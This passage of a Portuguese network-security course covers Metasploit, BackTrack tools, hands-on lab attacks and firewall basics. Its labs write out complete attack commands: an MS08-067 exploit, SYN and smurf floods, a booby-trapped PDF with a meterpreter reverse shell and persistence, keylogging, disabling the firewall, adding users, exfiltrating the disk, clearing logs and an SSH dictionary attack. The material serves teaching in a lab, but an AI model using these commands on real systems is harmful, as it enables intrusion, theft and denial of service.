Criado em 2003 pelo desenvolvedor HD Moore, o metasploit foi concebido em forma de um


framework para comunidade de segurança com o objetivo de desenvolvimento de exploit.

Basicamente, um framework é uma estrutura de apoio que funciona como uma abstração
entre vários projetos de software para funções genéricas. Tipicamente inclui programas de
apoio, bibliotecas e uma linguagem de script, entre outros softwares para ajudar a desenvolver
e unir diferentes componentes de um projeto.

O Metasploit pode ser utilizado de três formas distintas: q


11 No modo console, através do comando msfconsole.

11 No modo web, através do comando msfweb. Nesse modo é criado um servidor web na
porta 55555, que pode ser acessado com um browser comum, através do endereço
http://127.0.0.1:55555.

11 No modo gráfico, através do comando msfgui.

Exercício de fixação 5 e
Alguns tipos de ataque
Explique o que vem a ser um exploit.

O que é e o que faz um metasploit?

Neste curso, usaremos a versão web. Na aba Exploits, podemos buscar as vulnerabilidades
que desejamos avaliar. Na imagem abaixo, selecionamos uma vulnerabilidade no componente
Samba, presente no sistema operacional MAC OS X. Note que a versão web descreve a vulne-
rabilidade e oferece uma série de referências para o analista procurar mais informações sobre
uma vulnerabilidade específica. O passo seguinte é escolher um Target, que corresponde a um Capítulo 2 - Explorando vulnerabilidades em redes
tipo de exploração que será realizado. No caso abaixo, o único tipo disponível é o Stack brute
force, que tentará um ataque de força bruta na pilha do processo vulnerável.

37
Em seguida, iremos escolher o tipo de payload usado, que determinará o que o Metasploit
tentará conseguir na máquina remota. Entre as possibilidades, podemos obter um acesso
ao console na máquina através de uma porta específica ou conectar de volta na máquina do
atacante, ofertando um acesso remoto.
Segurança de Redes e Sistemas

Por fim, escolhemos os parâmetros específicos para esse tipo de vulnerabilidade. No caso, o
endereço IP do destino, a porta de destino e a porta local. Temos ainda alguns parâmetros
avançados, onde podemos escolher o endereço local do cliente, configurações de Proxy,
parâmetros específicos do Samba, entre outros.

38
Ao clicar no botão Launch exploit, estaremos fazendo o Metasploit tentar explorar a vulnera-
bilidade em questão, e em caso de sucesso, obter acesso remoto privilegiado.

Veja que o Metasploit efetivamente realiza um ataque ao servidor remoto, de modo que não
deve ser usado em servidores que não estejam sob a administração ou controle do usuário
da ferramenta.

Usando Metasploit em modo console

O mfsconsole é o Metasploit em modo console e uma forma mais flexível de se utilizar o


framework. Para iniciar o Metasploit, digite no shell:

# msfconsole

Serão apresentados os cursos abaixo:

msf > Capítulo 2 - Explorando vulnerabilidades em redes

Inicialmente, dentro do console do Metasploit, podemos verificar quais exploits temos à


disposição com o comando:

msf >show exploits

Neste ponto, devemos informar o tipo de exploit que usaremos com o comando use:

msf > use windows/smb/ms08_067_netapi

msf wins_ms08_067_netapi >

Dentro do exploit, podemos ver seus atributos exigidos com o comando show options:

msf wins_ms08_067_netapi > show options

39
Name Current Setting Required Description

-------- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER)

Explot Target:

Neste caso, o exploit aceita as opções de Remote Host, Remote port e SMBPIPE. Para confi-
gurar essas opções, utilize o comando set:

msf wins_ms08_067_netapi > set RHOST 200.126.35.34

RHOST -> 200.130.26.34

msf wins_ms08_067_netapi > set RPORT 445

RPORT -> 445

O próximo passo é configurar o payload, que nada mais é do que uma parte do software que
permite o controle do sistema-alvo após ser explorado. Nesse caso o exploit transporta o
payload para ser utilizado quando a falha do sistema é explorada.

Um dos payloads mais utilizados é o meterpreter. Com ele podemos ativar coisas interes-
santes no computador remoto, como, por exemplo, fazer upload e download de arquivos,
tirar screenshots e recolher hashes de senhas. Pode-se até mesmo controlar a tela, usando
mouse e teclado para usar completamente o computador.

Com o comando show payloads verificamos os payloads suportados pelo exploit selecionado:

msf wins_ms08_067_netapi > show payloads

O payload selecionado para este exemplo é “vnc inject reverse tcp”:

msf wins_ms08_067_netapi > set PAYLOAD windows/vncinject/reverse_


tcp

payload -> windows/vncinject/reverse_tcp

msf wins_ms08_067_netapi >

Com o comando show targets podemos visualizar quais sistemas operacionais são vulnerá-
veis a esse exploit:

msf wins_ms08_067_netapi > show targets

Supported Exploit Targets


Segurança de Redes e Sistemas

=========================

Windows XP SP3 Portuguese - Brasilian (NX)

msf wins_ms04_045 >

Neste caso podemos verificar que os sistemas operacionais Windows XP SP2 e SP3 de
diversos idiomas são vulneráveis a esse exploit:

40
msf wins_ms08_067_netapi > set TARGET 56

TARGET -> 56

msf wins_ms08_067_netapi >

Pronto para finalizar:

msf wins_ms08_067_netapi > exploit

Neste momento o exploit entrará em execução no IP alvo informado anteriormente. Se a vulne-


rabilidade estiver aberta, será apresentada uma resposta informando que a operação obteve
sucesso. Esse ataque pode ser automatizado dentro do metasploit com o comando msfcli.

No caso do ataque informado acima, poderíamos automatizá-lo com a seguinte linha de comando:

[root]#./msfcli wins_ms08_067_netapi RHOST=200.130.26.34 RPORT=445


PAYLOAD=windows/vncinject/reverse_tcp TARGET=56 E

Backtrack
O Backtrack é um sistema operacional Linux voltado para a área de segurança, principal-
mente para testes de penetração. É uma distribuição muito difundida pelos profissionais de
segurança, não necessita de instalação física na máquina e pode rodar diretamente do CD.
Contando com mais de 300 ferramentas diferentes, entre elas o próprio Metasploit, é con-
siderada a ferramenta mais completa do mercado para testes de segurança e penetração
baseada em software livre.

As ferramentas hackers do Backtrack podem ser acessadas pelo menu Applications >
Backtrack. São divididas em 10 categorias diferentes, como veremos a seguir.

Information Gathering

Ferramentas para obter informações sobre redes, aplicações web, análise de banco de
dados e análise de redes wireless. Exemplos:

11 Dnsdict6 – utilitário usado para enumerar um domínio para entradas DNS IPv6.

11 Dnsmap – utilitário usado para criar listas de hosts de registros DNS para um domínio.

Vulnerability Assessment

Ferramentas para avaliação de vulnerabilidades em redes, aplicações web e bancos de


dados, tais como scanners. Exemplos: Capítulo 2 - Explorando vulnerabilidades em redes

11 OpenVAS – estrutura de vários serviços e ferramentas que oferecem uma abrangente e


poderosa solução de varredura de vulnerabilidades.

11 Mantra – coleção de ferramentas de código livre integrado a um navegador web.

Exploitation Tools

Ferramentas para exploração de vulnerabilidades em redes, sistemas web, banco de dados,


sistemas wireless e ferramentas de engenharia social. Exemplos:

11 Metasploit Framework – framework utilizado para explorar vulnerabilidades em sistemas


computacionais.

11 Air Crack – ferramenta utilizada para descobrir chaves WEP e WPA em sistemas Wireless.

41
Privilege Escalation

Ferramentas para elevação de privilégios, como: ferramentas de ataque para quebra de


senhas, ferramentas para análise de protocolos (em especial protocolos de rede e VoIP)
e ferramentas de Spoofing Attacks. Exemplos:

11 hexinject – capaz de capturar pacotes em uma rede para obtenção de informações


e injeção de pacotes modificados.

11 Medusa e Hydra – ferramentas para ataques de força bruta em logins.

11 Hashcat e John the riper – programa para recuperação de senhas.

Maintaining Acces

Uma vez dentro de uma rede, um atacante necessita manter seu acesso sempre disponível
para garantir o seu retorno de forma segura (sem ser detectado). Esse conjunto de pro-
gramas possibilita, por exemplo, a criação de backdoors, ferramentas de tunelamento de
conexões e ferramentas de backdoor via web. Exemplos:

11 cymothoa – ferramenta capaz de injetar shellcode backdoor em um processo existente.

11 Stunnel4 – túnel criptográfico SSL para interligação cliente/servidor.

11 Weevely – script em python para gerar uma backdoor PHP criptografada.

Reverse Engineering

Ferramentas de engenharia reversa com destaque para o programa strace, que monitora
chamadas de sistema (system calls) e os sinais recebidos pela aplicação. Exemplos:

11 ollydbg – depurador de análise assembler com ênfase em código binário.

11 Strace – utilitário de depuração para Linux que pode imprimir uma lista de chamadas de
sistemas feitas pelo programa.

RFID Tools

Ferramentas RFID para obtenção de informações em equipamentos identificadores de Radio


Frequência (Radio-Frequency Identification). Exemplos:

11 Brute Force hitag2 – programa de força bruta capaz de capturar dados em etiquetas RFID
padrão HITAG.

11 Brute Force MIFARE – programa de força bruta capaz de capturar dados em dispositivos
de acesso por proximidade e cartões inteligentes.

Stress Testing

Programas especialistas em testes de estresse em redes de computadores e sistemas VOIP.


Essas ferramentas são capazes de criar verdadeiras inundações de pacotes em uma rede.
Exemplos:
Segurança de Redes e Sistemas

11 Hping – programa para a criação de pacotes TCP/IP, pode ser utilizado com ICMP, TCP e
UDP e é amplamente utilizado para ataques do tipo negação de serviço.

11 Letdown – outra ferramenta muito eficiente para ataques DoS.rtpflood – programa para
inundar telefones ips com pacotes UDP contendo dados RTP.

11 IAXflood – ferramenta para criar inundação de pacotes utilizada em redes com protocolo
IAX, que é usado pelo PABX asterisk.

42
Forensics

Ferramentas de perícia forense, tais como programas para detectar rootkits, obter informações
sobre dados armazenados desde uma rede até a memória RAM do computador. Exemplos:

11 Sleuthkit – capaz de analisar e recuperar informações em diversos tipos de partições.

11 Chkrootkit – utilitário capaz de varrer um computador atrás de programas rootkits insta-


lados.

11 DFF (Digital Foresics Framework) – pacote de ferramentas open source modular que inclui
utilitários para recuperação de dados, pesquisa de provas e análises.

Reporting Tools

Ferramentas geradoras de relatórios sobre evidências e captura de dados feita por pro-
gramas de perícia forense. Exemplos:

11 Recordmydesktop – programa para capturar e filmar o desktop do usuário.

11 Dradis – utilitário de ajuda no processo de testes de penetração. Utiliza uma metodologia


de compartilhamento de informações minimizando oportunidades de perda de infor-
mação e sobreposição de esforços.

Capítulo 2 - Explorando vulnerabilidades em redes

43
44
Segurança de Redes e Sistemas
Roteiro de Atividades 2
Atividade 1 – Realizando ataques de protocolos
Nesta primeira atividade prática, o objetivo é identificar e compreender ataques DOS e fazer
a análise com um sniffer (Wireshark e/ou tcpdump) para interpretar o modo como os pacotes
são elaborados para o respectivo ataque DOS.

1º Ataque: Synflood

Como já tratado na parte teórica deste curso, esse ataque consiste em enviar uma enxurrada
de pacotes com a flag SYN ativa, utilizando a ferramenta hping3. Para isso, é necessário que
você desative a proteção contra SYN Flooding do kernel de todas as máquinas virtuais Linux.
Para desabilitar a proteção, use o seguinte comando (executar como root):

echo 0 > /proc/sys/net/ipv4/tcp_syncookies

Agora inicie a captura de pacotes na máquina FWGW1-G, que será nossa máquina-alvo.
No exemplo abaixo estamos utilizando o tcpdump para essa atividade. Nossa máquina ata-
cante será a máquina virtual LinServer-G.

Instale o tcpdump na máquina alvo:

# apt-get install tcpdump

Após a instalação execute:

# tcpdump -i eth1 -n

Instale na máquina atacante o programa hping3

# apt-get install hping3

Por fim, execute a partir da estação Linux atacante o seguinte comando para iniciar o ataque
(executar como root):

hping3 172.16.G.1 -p 22 -S --flood --rand-source

O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do
serviço SSH (-p 22), na maior velocidade possível e alterando o endereço de origem
aleatoriamente (--rand-source).

Para finalizar a execução do hping3 e do tcpdump, basta digitar CTRL+C.


Capítulo 2 - Roteiro de Atividades

Observe que na captura do tcpdump estão chegando pedidos de conexão de diferentes


origens (todas inválidas).

2º Ataque: Smurf

Como já tratado na parte teórica deste curso, esse ataque consiste no envio de pacotes
ICMP Echo Request para o endereço de broadcast de uma rede desprotegida. Assim, todas
as máquinas responderão para o endereço de origem especificado no pacote que deve
estar alterado para o endereço alvo (Spoofing). Para que o ataque seja efetivo, a proteção

45
contra ICMP Echo Request para endereço de broadcast deve estar desabilitada em todas as
máquinas Linux. Para desabilitar a proteção, use o seguinte comando (executar como root):

echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

Agora inicie a captura de pacotes no FWGW1-G. Nossa máquina-alvo será o servidor


WinServer-G e o atacante continuará sendo o LinServer-G

# tcpdump -i eth1 -n

Por fim, execute a partir da estação Linux atacante o seguinte comando para iniciar o
ataque: (EXECUTAR COMO ROOT). Troque o <END_BROADCAST_REDE> pelo endereço de
broadcast da rede, no nosso caso 172.16.G.255

Hping3 172.16.G.255 --icmp --flood -a 172.16.G.20

O comando acima vai enviar pacotes ICMP Echo Request para o endereço de broadcast da
rede do laboratório, no modo mais rápido possível, com endereço de origem alterado para
IP_ALVO (Spoofing). Os alunos devem verificar no tcpdump os pacotes de ICMP Echo Reply
enviados para o alvo do ataque. O tamanho do pacote ICMP Echo Request enviado ainda
pode ser aumentado para dar maior força ao ataque. Assim, a banda do alvo será rapida-
mente consumida pelos pacotes de ICMP Echo Reply.

hping <END_BROADCAST_REDE> --icmp --faster -a <IP_ALVO> -d 1000

Atividade 2 – Levantando os serviços da máquina alvo com Nmap


O objetivo desta atividade é entender o funcionamento do Nmap. Para executar esta ativi-
dade instale na máquina Windows 2008 o Wireshark e desative o firewall do Windows.

A partir de uma máquina Linux, realize o port scan padrão na máquina Windows 2008.

# nmap -v 172.16.G.20

Agora vamos explorar outros modos de funcionamento do Nmap. Teste os modos stealth e
acompanhe o andamento da varredura de portas através do Wireshark. Procure entender o
que está acontecendo e a diferença entre os dois comandos executados, para comprovar os
conceitos do material teórico.

# nmap -sF 172.16.G.20

# nmap -sN 172.16.G.20

# nmap -sX 172.16.G.20

Outra funcionalidade do Nmap é o OS Fingerprinting. Realize essa verificação na máquina


virtual Windows 2008 e em uma máquina virtual Linux. Combine essa opção com outras ofe-
recidas pela ferramenta. Use o Wireshark para verificar a troca de pacotes neste processo.
Segurança de Redes e Sistemas

# nmap -O 172.16.G.20

# nmap -A 172.16.G.20

Agora vamos realizar um ataque utilizando o Nmap em modo decoy contra a máquina virtual
Windows 2008. Capture os pacotes usando o Wireshark e analise-os. Procure identificar a
origem do ataque.

# nmap –v –sV –O –D 101.102.103.104 172.16.G.20

46
Atividade 3 – Realizando um ataque com Metasploit
Nessa atividade iremos executar uma série de comandos utilizando o metasploit disponível
na máquina virtual BackTrack. Inicie essa máquina virtual e, paralelamente, acesse a inter-
face gráfica do servidor Windows 2008. Nesse servidor, desative o firewall e instale o Adobe
Reader versão 9.3.4. Embora essa seja uma versão antiga do Adobe Reader, o objetivo
desta atividade é demonstrar duas coisas: primeiro, o poder da ferramenta Metasploit, e,
segundo, que não devemos instalar em servidores programas desnecessários, como visuali-
zadores de PDF.

Esse ataque consiste em dois passos:

1º passo: gerar um arquivo PDF para explorar a falha de segurança do Adobe Reader.
Acesse o shell do BackTrack e digite:

#msfconsole

msf > use exploit/windows/fileformat/adobe_cooltype_sing

msf exploid(adobe_cooltype_sing)> set PAYLOAD windows/meterpreter/


reverse_tcp

Podemos alterar o nome do arquivo a ser gerado para um nome mais amigável.

msf exploid(adobe_cooltype_sing)> set FILENAME naoclick.pdf

msf exploid(adobe_cooltype_sing)> set LHOST 172.16.G.30

msf exploid(adobe_cooltype_sing)> set LPORT 4444

msf exploid(adobe_cooltype_sing)> show options

msf exploid(adobe_cooltype_sing)> exploit

msf exploid(adobe_cooltype_sing)> quit

Será gerado um arquivo em /root/.msf4/local/naoclick.pdf. Abra outra janela do shell e copie o


arquivo gerado para /var/www:

# mv /root/.msf4/local/naoclick.pdf /var/www

* renomeie o arquivo /var/www/index.html para index.txt

* Inicie o servidor apache

# /etc/init.d/apache2 start

2º passo: escutar na porta informada no passo anterior para estabelecer uma conexão com
Capítulo 2 - Roteiro de Atividades

a máquina-alvo. Para isso, abra outra janela de shell e digite:

# msfconsole

msf > search cool

msf > use exploit/multi/handler

msf exploid(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploid(handler) > show options

47
msf exploid(handler) > set LHOST 172.16.G.30

msf exploid(handler) > set LPORT 4444

msf exploid(handler) > exploit

[*] Started reverse handler on 172.16.G.30

[*] Starting the payload handler...

Neste momento, o Backtrack está esperando uma conexão na porta informada, neste caso
a porta 4444. A máquina-alvo deverá abrir o navegador e informar no campo endereço o IP
do Backtrack. Serão listados os arquivos da pasta /var/www. Clique com o botão direito no
arquivo naoclick.pdf e salve na área de trabalho. Após esse procedimento, clique duas vezes
no arquivo (poderá aparecer uma tela de aceite dos termos da Adobe, clique em accept).
Enquanto o arquivo é carregado, verificamos na máquina atacante que uma sessão foi esta-
belecida. A partir desse momento já estamos com acesso à máquina-alvo.

Para manter a conexão aberta, mesmo que o alvo seja reiniciado, digite:

meterpreter > run persistence -X

Será instalado um script dentro da máquina-alvo e bastará apenas que o usuário faça login
novamente para estabelecer a conexão, não precisando mais que o alvo abra o arquivo PDF.

Comando meterpreter
Procure entender o que cada linha de comando abaixo realiza, e tenha paciência. Lembre-se
de que você está explorando vulnerabilidades, e de que é comum que alguns alunos não
consigam completar essa atividade.

Promovendo meterpreter > getuid


privilégios
meterpreter > use priv
meterpreter > getsystem
meterpreter > getuid

Levantando meterpreter > sysinfo


informações
meterpreter > run get_env
meterpreter > run get_application_list

Desativando meterpreter > shell


firewall
C:\Windows\System32> netsh firewall set opmode disable
C:\Windows\System32> exit

Capturando tela meterpreter > getpid


meterpreter > ps
Segurança de Redes e Sistemas

meterpreter > use -l


meterpreter > use espia
meterpreter > screenshot
meterpreter > screengrab

48
Ativando meterpreter > keyscan_start
keylogger
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Enumerando meterpreter > run winenum


informações
meterpreter > run scraper (copiar entradas do registro)
meterpreter > run prefetchtool

Injetando informações meterpreter > edit c:\\Windows\\System32\\drivers\\etc\\hosts


nos arquivos de hosts
do Windows

Realizando varredura meterpreter > run arp_scanner -i


na rede do alvo
meterpreter > run arp_scanner -r <REDE_ALVO>

Criando usuário meterpreter > shell


C:\Windows\System32> net user marcos changeme /add
C:\Windows\System32> net user
C:\Windows\System32> exit

Baixando o HD meterpreter > download -r c:\\


da máquina alvo

Enviando arquivo meterpreter > upload /root/tcpdump.exe c:\\windows\\System32


para o alvo
meterpreter > shell
meterpreter > tcpdump -w saida.pcap
meterpreter > ps
meterpreter > kill NUMERO_PROCESSO
meterpreter > download c:\\saida.pcap

Apagando rastro meterpreter > clearev

Atividade 4 – Realizando um ataque de dicionário com o Medusa


Vamos implementar um ataque de força bruta ao serviço SSH utilizando o Medusa. Para
tal, escolha uma máquina virtual Linux para ser o alvo. Na máquina-alvo (FWGW1-G), crie
um usuário chamado marcelo com a senha 123456 e outro chamado marco com a senha
abacate. Também na máquina alvo monitore o arquivo de logo com o comando:

# tail -f /var/log/auth.log

Na máquina virtual Backtrack execute o comando abaixo para identificar os módulos insta-
lados no Medusa:
Capítulo 2 - Roteiro de Atividades

# medusa –d

Agora vamos levantar o Banner (informação sobre a versão do SSH) implementado na


máquina-alvo. A partir do Backtrack, execute:

# nc 172.16.G.1 22

A resposta deve ser algo como:

SSH-2.0-OpenSSH_5.1p1 Debian-5

49
Crie um arquivo de texto chamado usuários.txt contendo, em cada linha, o nome dos usu-
ários que você acredita que existam no alvo. Para esta atividade insira, em cada linha, os
nomes: root, marcelo e marco.

Crie um arquivo texto chamado senhas.txt. Neste arquivo serão inseridas, em cada linha,
as senhas que serão utilizadas no nosso ataque de dicionário. Para esta atividade não se
esqueça de inserir os textos 123456 e abacate.

Agora vamos realizar o ataque de força bruta SSH contra o alvo. Execute o seguinte comando:

# medusa –M ssh –m BANNER:SSH-2.0-OpenSSH_5.1p1 -h 172.16.G.1 –U


usuarios.txt –P senhas.txt | grep SUCCESS

Acesse o console da máquina-alvo e observe as tentativas de acesso utilizando o Medusa.

Não se esqueça de trocar o BANNER pela versão instalada na máquina-alvo.


Segurança de Redes e Sistemas

50
3
Firewall – Conceitos e Implementação
objetivos

Apresentar técnicas e tecnologias para proteção de perímetro em redes, compreender


as técnicas de proteção de perímetro, posicionar firewalls em uma rede e criar uma zona
desmilitarizada (DMZ) para prover serviços públicos.

conceitos
Topologias e tecnologias de firewall, proteção de perímetro em redes e zona
desmilitarizada (DMZ), entre outros.

Introdução
Um firewall pode ser definido como uma combinação de componentes (hardware, software
e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou
outras redes. É importante frisar que um firewall não corresponde a uma “caixa preta”, que
ligada a uma rede provê segurança instantânea. Para ter um firewall eficiente, é preciso que
ele seja configurado corretamente, possua bons recursos implementados e esteja correta-
mente posicionado na rede em questão. Durante este capítulo e o próximo, esses conceitos
serão aprofundados.

Em linhas gerais, um firewall possui os seguintes objetivos: q


11 Restringir a entrada de tráfego em um ponto único e controlado.

11 Impedir que atacantes consigam chegar em suas defesas mais internas.

11 Restringir a saída de tráfego em um ponto único e controlado.


Capítulo 3 - Explorando vulnerabilidades em redes
No item seguinte, veremos algumas vulnerabilidades comuns encontradas em redes. Essas
vulnerabilidades podem ou não ser mitigadas por um firewall, dependendo dos seus recursos.

Exercício de nivelamento 1 e
Firewall
O que você entende por firewall?

Como um firewall pode ser eficiente?

51
Firewall
Um firewall consiste em uma técnica de segurança de redes bastante efetiva. O seu nome
vem das portas corta-fogo (firewalls) utilizadas em edifícios para conter o fogo de um pos-
sível incêndio, de modo que ele não se espalhe para o resto do prédio. Pode ser definido
como um componente ou conjunto de componentes que restringem acesso entre uma rede
protegida e a internet, ou entre outros conjuntos de redes.

Na prática, podemos pensar num firewall como uma forma de limitar a exposição da sua
rede à internet, mantendo suas funcionalidades para os usuários.

O firewall serve a múltiplos propósitos: q


11 Restringir a entrada de tráfego em um ponto único e controlado.

11 Impedir que os atacantes consigam chegar em suas defesas mais internas.

11 Restringir a saída de tráfego em um ponto único e controlado.

Quando falamos de estratégias de segurança, a respeito de ponto único e defesa em profun-


didade, não podemos considerar um firewall simplesmente como uma “caixa preta” ou um
“produto de prateleira”, apesar do que pregam os vendedores de produtos de segurança.
Um firewall deve ser visto como uma combinação de componentes (hardware, software
e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou
outras redes. Sendo assim, não adianta comprar um produto em uma loja e ligá-lo na rede.
Um firewall, para ser efetivo, necessita de planejamento e que seja definida uma topologia,
onde ele esteja no meio das conexões que se deseja proteger. Além da topologia, um firewall
consiste em uma série de tecnologias, como filtros de pacotes, NAT e servidores proxy.
A seguir vamos discutir em detalhes essas topologias e tecnologias.

Tecnologias de firewall
11 Filtros de pacotes. q
11 Filtros de pacote dinâmicos.

11 Servidores proxy.

11 NAT.

Filtros de pacotes
A funcionalidade mais básica que um firewall pode oferecer é chamada de filtro de pacotes,
mecanismo de segurança de rede que permite o controle dos dados que entram, saem ou
passam pelo ponto de proteção. Um filtro de pacote é capaz de decidir sobre a passagem ou
não de um pacote, de acordo com as informações encontradas no cabeçalho IP. Usualmente,
os filtros de pacotes agem sobre os seguintes campos de um pacote IP:

11 Endereço IP de origem (nível de rede).


Segurança de Redes e Sistemas

11 Endereço IP de destino (nível de rede).

11 Porta de origem (nível de transporte).

11 Porta de destino (nível de transporte).

11 Flags do cabeçalho TCP (SYN e ACK).

Alguns filtros de pacotes mais avançados podem agir sobre outros campos do pacote,
como endereços físicos (MAC Address), outras flags (ex.: RST), campos de fragmentação de
pacotes, entre outros. Na verdade, um filtro de pacotes pode usar qualquer campo de qual-

52
quer um dos cabeçalhos do pacote. Usualmente, um filtro de pacotes não realiza decisões
com base no conteúdo (dados) dos pacotes, uma vez que analisar o conteúdo do pacote
pode ser dispendioso e tornar o processo de roteamento mais lento. Apesar disso, existem
ferramentas que usam esse recurso, como o l7filter. A sintaxe de comandos de um filtro de
pacotes depende da ferramenta utilizada; porém, em linhas gerais, a forma de definir as
regras é muito semelhante. No capítulo seguinte serão vistos alguns exemplos do uso de
ferramentas de filtros de pacotes.

Como exemplo, vamos imaginar que estamos querendo definir uma regra de filtragem que
irá bloquear todos os pacotes provenientes da estação A (endereço IP 192.168.1.1) para o
servidor B (endereço IP 192.168.1.2), na porta 110, utilizando o protocolo de transporte TCP.
Relembrando os conceitos de TCP/IP, quando iniciamos uma conexão TCP, o remetente
escolhe uma porta de origem que não esteja em uso, a partir da porta 1024. Sendo assim,
podemos definir a seguinte regra:

Descartar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024 e


PORTA_DESTINO = 143.

No caso, estamos usando uma sintaxe fictícia. Todos os pacotes que se enquadrem na regra
acima serão automaticamente descartados. Os filtros de pacotes normalmente definem ainda
uma ação padrão, caso não haja nenhuma regra indicando o que fazer com o pacote. Essa
ação padrão se refere à estratégia de segurança denominada Atitude de Bloqueio Padrão e
Permissão Padrão. Caso seja escolhida a atitude de bloqueio padrão, todos os pacotes que
não estiverem explicitamente permitidos por alguma regra serão bloqueados e vice-versa.
Lembre-se de que a atitude de bloqueio padrão é mais segura do que a de permissão padrão.

Filtros de pacote dinâmicos


Considerando o exemplo anterior, imagine que agora necessitamos liberar o tráfego com
destino à porta 143 TCP do servidor. Nesse caso, não basta apenas trocar a palavra DESCARTAR
por ACEITAR. Em uma conexão TCP, temos uma série de pacotes, indo e voltando do servidor.
Sendo ainda mais minimalista (lembre-se da estratégia de menor privilégio), temos de verificar
se o pacote se refere ao início de uma conexão, a uma resposta do servidor ou a uma conexão
já estabelecida. Dessa forma, podemos mudar nosso exemplo, que vai conter as seguintes
regras para permitir todos os três pacotes referentes ao three way handshake do protocolo TCP:

11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024,


PORTA_DESTINO = 143 e flag SYN ligada (início da conexão).

11 Aceitar se IP_ORIGEM=192.168.1.2, IP_DESTINO=192.168.1.1, PORTA_ORIGEM = 143,


Capítulo 3 - Firewall – Conceitos e Implementação
PORTA_DESTINO >= 1024 e flags SYN e ACK ligadas (retorno do servidor).

11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024,


PORTA_DESTINO = 143 e flag ACK ligada.

A partir desse exemplo podemos perceber que em um ambiente mais complexo a quanti-
dade de regras aumentará bastante, tornando o ambiente complicado para gerenciar. Do
ponto de vista do administrador de segurança, na grande maioria dos casos, ele apenas
quer decidir se vai permitir ou bloquear uma determinada conexão. Pensando nisso, foram
criados os filtros de pacotes dinâmicos, também chamados de stateful inspection, stateful
firewall ou Stateful Packet Inspection (SPI). Nesse caso, o próprio filtro de pacotes mantém
informações sobre o estado das conexões e permite automaticamente todos os pacotes
relacionados, de modo que o administrador necessita apenas especificar a regra do pri-
meiro pacote e indicar que os pacotes relacionados serão automaticamente aceitos.

53
Alguns filtros de pacotes dinâmicos tratam ainda de protocolos de aplicação, cuja conexão
é mais complexa, como, por exemplo, FTP e H.323, cuja liberação utilizando os filtros de FTP
pacotes comuns se tornaria complicada e provavelmente iria aceitar muito mais pacotes do File Transfer Protocol é
que o necessário, por conta do comportamento dinâmico desses protocolos. um protocolo de trans-
ferência de arquivos
Recentemente, alguns fabricantes têm anunciado firewalls UTM (Unified Threat Manager), na internet.

que são firewalls com diversos recursos integrados, também chamados de firewalls all-in-one
(tudo em um). Esses produtos normalmente integram uma série de recursos, como antivírus,
anti-spam, VPN, filtros de conteúdo e balanceamento de carga, entre outros.

Servidores proxy
Servidores proxy são servidores que acessam algum serviço da internet em nome de uma
H.323
estação cliente, que solicita o acesso ao proxy. Um proxy pode atuar no nível de aplicação
Protocolo de trans-
(mais comum), onde para cada aplicação há um proxy diferente (ex.: proxy HTTP, proxy FTP,
missão de áudio e vídeo
proxy H.323 etc.) ou no nível de transporte, onde há um proxy genérico para conexões TCP na internet.
e UDP (ex.: Socks). Socks
Protocolo da internet
Os proxies de aplicação possuem a vantagem de entender o protocolo de aplicação, de que permite que apli-
modo que eles são capazes de prover registros detalhados sobre os acessos realizados, cações cliente-servidor
além de permitir o controle de acesso através de parâmetros de aplicação, como bloquear usem transparente-
mente o serviço de
o acesso a arquivos executáveis em conexões HTTP, controle impossível de ser realizado uma rede ao firewall.
apenas com filtros de pacotes. Por outro lado, a aplicação em questão deve estar ciente O termo Socks vem da
da existência do Proxy para realizar o acesso normalmente através de um parâmetro de abreviação de sockets.

configuração, o que pode aumentar a complexidade da configuração. Outra questão a ser


considerada é que o servidor deve ser dimensionado adequadamente para comportar as
requisições dos clientes, de modo a não causar atrasos nas conexões.

O diagrama abaixo mostra uma típica conexão utilizando um proxy de aplicação.

Cliente A Proxy HTTP Servidor B

Cliente solicita ao Proxy entrega


Proxy acesso a recurso ao cliente A
recurso do servidor B Proxy solicita e
obtém recurso Figura 3.1
do servidor B Conexão com proxy
de aplicação.
Uma vez configurado corretamente, o usuário não percebe mais a existência do Proxy de
aplicação, de modo que tem a impressão de que as requisições são feitas diretamente ao
servidor. O Proxy, por outro lado, possui conhecimento detalhado sobre os recursos que
estão sendo solicitados pelo cliente.

NAT
Segurança de Redes e Sistemas

Network Address Translation (NAT) é um recurso que permite a modificação de um ende- RFC
reço de rede em um pacote IP durante o seu trânsito em um dispositivo de roteamento. Request For Comments
O NAT pode ser utilizado em uma variedade de situações, sendo as mais comuns a “publi- é um documento que
descreve os padrões
cação” de um servidor na internet e o acesso de uma rede privativa à internet. de cada protocolo pro-
posto para a internet,
Existem tipos diferentes de NAT, com utilidades diferentes. Inicialmente veremos os tipos de NAT antes de ser conside-
existentes e a seguir conheceremos as suas aplicações. O NAT é definido em uma série de RFCs: rado um padrão.

54
11 RFC 1631: The IP Network Address Translator (NAT).RFC 2663: IP Network Address Trans-
lator (NAT) Terminology and Considerations.

11 RFC 2766: Network Address Translation – Protocol Translation (NAT-PT).

As terminologias variam de acordo com o fabricante que implementa a tecnologia, porém os


princípios são os mesmos.

11 SNAT – Source NAT modifica o endereço IP de origem de um pacote, utilizado normalmente


para permitir que estações em redes privativas possam acessar a internet diretamente,
através da modificação do endereço privativo para um endereço válido na internet.

11 DNAT – Destination NAT modifica o endereço IP de destino de um pacote, utilizado


normalmente para permitir que servidores em redes privativas possam ser acessados
através da internet.

11 NAT estático – utiliza um endereço IP diferente para cada endereço que necessita ser
traduzido. Também chamado de NAT um-para-um (1-1).

11 NAT dinâmico – traduz diversos endereços IP para um único endereço traduzido.


Também chamado de NAT N-para-1 (N-1). Esse tipo de NAT permite que uma rede inteira
acesse a internet utilizando um único endereço válido e muitas vezes é chamado de
masquerading. Ele é usado por empresas que possuem poucos endereços IP. Durante as
atividades práticas do Capítulo 3, serão vistos em mais detalhes os diferentes tipos de
NAT e sua implementação.

Exercício de fixação 1 e
Filtros de pacotes
Explique o que são filtros de pacotes dinâmicos.

